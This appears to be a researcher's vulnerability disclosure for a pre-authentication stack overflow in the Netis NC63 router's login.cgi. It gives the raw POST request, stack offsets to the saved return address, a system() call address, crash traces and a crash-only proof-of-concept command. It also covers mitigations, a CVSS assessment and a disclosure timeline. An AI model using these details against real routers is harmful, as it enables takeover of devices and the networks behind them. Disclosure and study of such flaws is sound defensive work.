← back to blog
EN TR

CVE-2026-76070: Unauthenticated Pre-Auth Stack Buffer Overflow via Base64-Decoded Password in Netis NC63 login.cgi Leading to RCE

On this page

Netis NC63 | CVE-2026-76070 | Unauthenticated Pre-Auth Stack Buffer Overflow via Base64-Decoded Password in login.cgi Leading to RCE

Vulnerability: Pre-Authentication Stack Buffer OverflowRemote Code Execution

CVE: CVE-2026-76070

CVE Status: Assigned by VulnCheck; record population pending at the time of writing

Researcher: Özcan Ersan (@ozcanpng)


Introduction

This post documents CVE-2026-76070, a pre-authentication stack buffer overflow in the public login handler of Netis NC63 firmware V3.0.0.3327.

The vulnerable operation is not “Base64” in isolation. Base64 is only the input transformation used by the frontend. The security defect is that /bin/netis.cgi decodes an attacker-controlled value into a fixed 64-byte stack destination without giving the custom decoder the destination capacity or validating the decoded length first.

The overflow occurs before the submitted password is compared with the configured administrator password. A valid password, authenticated session, Cookie header, or Authorization header is therefore unnecessary.

Testing was performed with an original-hash production CGI in a disposable qemu-mipsel runtime. Saved return-address control, program-counter control, and an attacker-selected argument reaching the original system() path were dynamically observed. The final command-interpreter boundary was replaced with an observation-only logger, so no command was executed.


Affected Target

FieldValue
VendorNetis Systems Co., Ltd.
ProductNetis NC63 Wireless AC1200 Router
FirmwareNC63_V3.0.0.3327
ArchitectureMIPS32r2 little-endian, o32 ABI, uClibc
Web serverBoa/0.94.14rc21
CGI binary/bin/netis.cgi
EndpointPOST /cgi-bin/login.cgi
ParameterBase64-encoded password
AuthenticationNone; vulnerable decode is pre-authentication

Firmware and binary hashes:

193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792  netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b  squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2  squashfs-root/bin/netis.cgi

Original and runtime binary hashes


Short Version

Unauthenticated HTTP client
  |
  | POST /cgi-bin/login.cgi
  | password=<attacker-controlled Base64>
  v
/bin/netis.cgi: FUN_0041a2e0
  |
  | get_request_param("password")
  v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
  |
  | destination capacity is not supplied
  | decoded output exceeds 64 bytes
  v
saved s8 at decoded offset 132
saved ra at decoded offset 136
  |
  v
attacker-selected MIPS PC
  |
  v
RCE primitive in the privileged CGI context

The key verified measurements are:

  • decoded buffer capacity: 64 bytes
  • saved frame-pointer offset: 132 bytes
  • saved return-address offset: 136 bytes
  • login handler entry: 0x0041a2e0
  • custom decoder: FUN_00402bd4
  • direct jal system: 0x0041a3cc

Attack Surface and Authentication Status

The frontend transforms the password and sends it to the login endpoint:

obj.password = base64encode(utf16to8(password));
request({
    url: "/cgi-bin/login.cgi",
    data: obj
});

The HTML input uses a client-side limit:

<input type="password" id="login_pwd" maxlength="63" />

Frontend Base64 request and browser-only limit

A direct HTTP client is not bound by this attribute. The vulnerable request shape is simply:

POST /cgi-bin/login.cgi HTTP/1.0
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: ...

password=<Base64-encoded decoded pattern>

The login endpoint must accept credentials before authentication. More importantly, the decoder call runs before strcmp(decoded, stored). An incorrect password still corrupts the current stack frame before the handler decides whether authentication succeeded.


Root Cause: Decoded Length Is Not Bound to Destination Capacity

Ghidra-derived pseudocode, with normalized names:

int login_cgi(void *request)
{
    char decoded[64];
    char stored[68];
    char *password;

    memset(decoded, 0, 64);
    memset(stored, 0, 64);
    password = get_request_param(request, "password");
    if (password != NULL)
        FUN_00402bd4(decoded, password); /* no capacity argument */

    apmib_get(0x15e, stored);
    if (strcmp(decoded, stored) == 0)
        printf("[\"SUCCESS\"]");
    else {
        system("echo 0 >/tmp/boa_auth");
        printf("[\"%d\"]", 0x15);
    }
    return 0;
}

Vulnerable login handler

FUN_00402bd4 receives a destination pointer and source pointer, but no destination length. Its loop advances the destination and writes three output bytes per complete four-symbol Base64 group:

00402c70  move  t8,s1
00402c74  addiu s1,t8,1
...
00402ccc  sb    v0,0(t8)

00402cd0  move  t8,s1
00402cd4  addiu s1,t8,1
...
00402d30  sb    v0,0(t8)

00402d34  move  t8,s1
00402d38  addiu s1,t8,1
...
00402d8c  sb    v0,0(t8)

Unbounded custom Base64 decoder loop

For ordinary Base64, four encoded symbols represent up to three decoded bytes. Checking only the encoded text or relying on a browser’s clear-text password limit is insufficient. The server must calculate the decoded size, account for padding, reserve termination space where required, and reject values that do not fit the destination.


Stack Corruption Analysis

The login handler allocates a 168-byte (0xa8) frame:

0041a2e0  addiu sp,sp,-168
0041a2e4  sw    ra,164(sp)
0041a2e8  sw    s8,160(sp)
0041a2ec  move  s8,sp

The decoded buffer starts at s8+0x1c:

0041a35c  addiu t8,s8,28
0041a360  move  a0,t8
0041a364  lw    a1,24(s8)
0041a368  jal   0x00402bd4

The epilogue restores saved state from s8+0xa0 and s8+0xa4:

decoded buffer       s8+0x1c   decoded offset 0
buffer capacity                  64 bytes
saved frame pointer  s8+0xa0   decoded offset 132
saved return address s8+0xa4   decoded offset 136

The exact saved-return distance is 0xa4 - 0x1c = 0x88, or 136 bytes.

Login stack frame and saved-return offset


Dynamic Verification

1. Saved Return Address Replaced with 0x42424242

A POST body whose password decoded to exactly 140 B bytes caused:

open("/tmp/boa_auth", O_RDONLY) = -1 ENOENT
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

Fault at attacker-selected saved return address

This proves that HTTP-controlled decoded bytes reach saved ra; it is not only a static offset calculation.

2. Controlled Program Counter

A second 140-byte input replaced saved ra with 0x0041a2e0, the login handler’s fixed entry address. QEMU CPU logging observed a normal first entry and a second entry with overwritten state:

login_entry_hit=2 pc=0x0041a2e0 ...
GPR28: ... s8 41414141 ra 0041a2e0
PASS: first hit is normal dispatch; second hit is the overwritten RA.

Controlled second entry at the login handler

3. Observation-Only RCE Boundary

The production binary has a direct jal system at 0x0041a3cc. A private, non-destructive validation used existing fixed-base instructions to place a marker in MIPS a0 and reach that call. Inside the disposable namespace, /bin/sh was replaced with a logger that never interpreted its third argument:

argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: attacker-controlled a0 reached system() and /bin/sh argv.
PASS: the guard logged the request and executed no command.

The overflow, saved return-address control, PC control, a0 control, and original system() transfer occur in the production CGI. Replacing the shell changes only the final boundary so the test can observe the argument without running it.

The test proves the RCE primitive in the isolated environment. It does not prove identical exploit reliability on a physical device with its deployed kernel and address-randomization behavior.


Privilege and Hardening Context

The original Boa configuration runs the CGI environment as root:

User root
Group root
CGIPath /bin:/usr/bin:/web/cgi-bin/

Original Boa root CGI configuration

The production netis.cgi is also a fixed-base MIPS executable with no stack canary or RELRO, an executable GNU stack, and RWX segments.

Binary hardening state

These properties make exploitation easier, but the RCE conclusion is based on dynamic control-flow and guarded argument evidence rather than mitigation state alone.


Safe Public Proof of Concept

The public repository contains a minimal Python generator. Its default mode prints a Base64 form body that decodes to a 140-byte B pattern:

python3 poc/poc.py

Sending requires an explicit authorized target and --send:

python3 poc/poc.py --target http://192.168.1.1 --send

Sending the pattern may crash the CGI process. The public PoC contains no return chain, shellcode, command, reverse shell, or persistence mechanism. The complete observation-only RCE evidence is provided as screenshots and traces, not as a weaponized network exploit.


Impact

An unauthenticated attacker who can reach the management interface may be able to exploit the decoded-password stack overflow and execute attacker-selected code or commands in the router-management context. The production Boa configuration runs CGI as root.

Potential impact includes:

  • full router compromise
  • disclosure or modification of router configuration and stored secrets
  • replacement or modification of trusted configuration and services
  • DNS, firewall, and routing manipulation
  • traffic interception, modification, or redirection
  • credential theft through post-compromise access
  • persistent compromise as a possible follow-on action
  • management-service or device disruption

The default realistic exposure is usually adjacent-network access to the router management interface. If remote management is enabled or the interface is otherwise exposed, the attack surface can become network-reachable. Persistence and physical-device exploit reliability were not dynamically tested.


Classification

The assigned CVE record had not yet been populated when this post was prepared. The values below are researcher assessments, not VulnCheck-published scores:

Researcher-assessed CVSS v3.1 (typical adjacent management network): 8.8
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Conditional routable-management score: 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CWE-121: Stack-based Buffer Overflow
  • Related: CWE-120 — Buffer Copy without Checking Size of Input

Mitigation

  1. Replace FUN_00402bd4 with a decoder API that accepts destination capacity.
  2. Reject any password whose calculated decoded length exceeds 63 bytes, reserving termination space.
  3. Enforce length and syntax checks server-side before decoding.
  4. Audit every other caller of the custom decoder.
  5. Rebuild with stack canaries, PIE, NX, and RELRO.
  6. Run web-management components with least privilege.

Disclosure Timeline

  • 2026-08-16: discovery and isolated production-binary validation completed.
  • August 2026: reported to VulnCheck.
  • 2026-08-20: VulnCheck assigned CVE-2026-76070 and authorized public disclosure.
  • 2026-08-20: public disclosure package prepared; remote publication remained pending explicit push.

Disclosure Note

VulnCheck assigned CVE-2026-76070 on 2026-08-20 and authorized public disclosure.

I intentionally avoided destructive validation. The public proof of concept uses only a non-executable crash pattern. The RCE validation stopped at an observation-only /bin/sh -c boundary and executed no command.


References

No physical router was flashed, no real command was run, and no persistence, external connection, credential theft, or destructive operation was performed.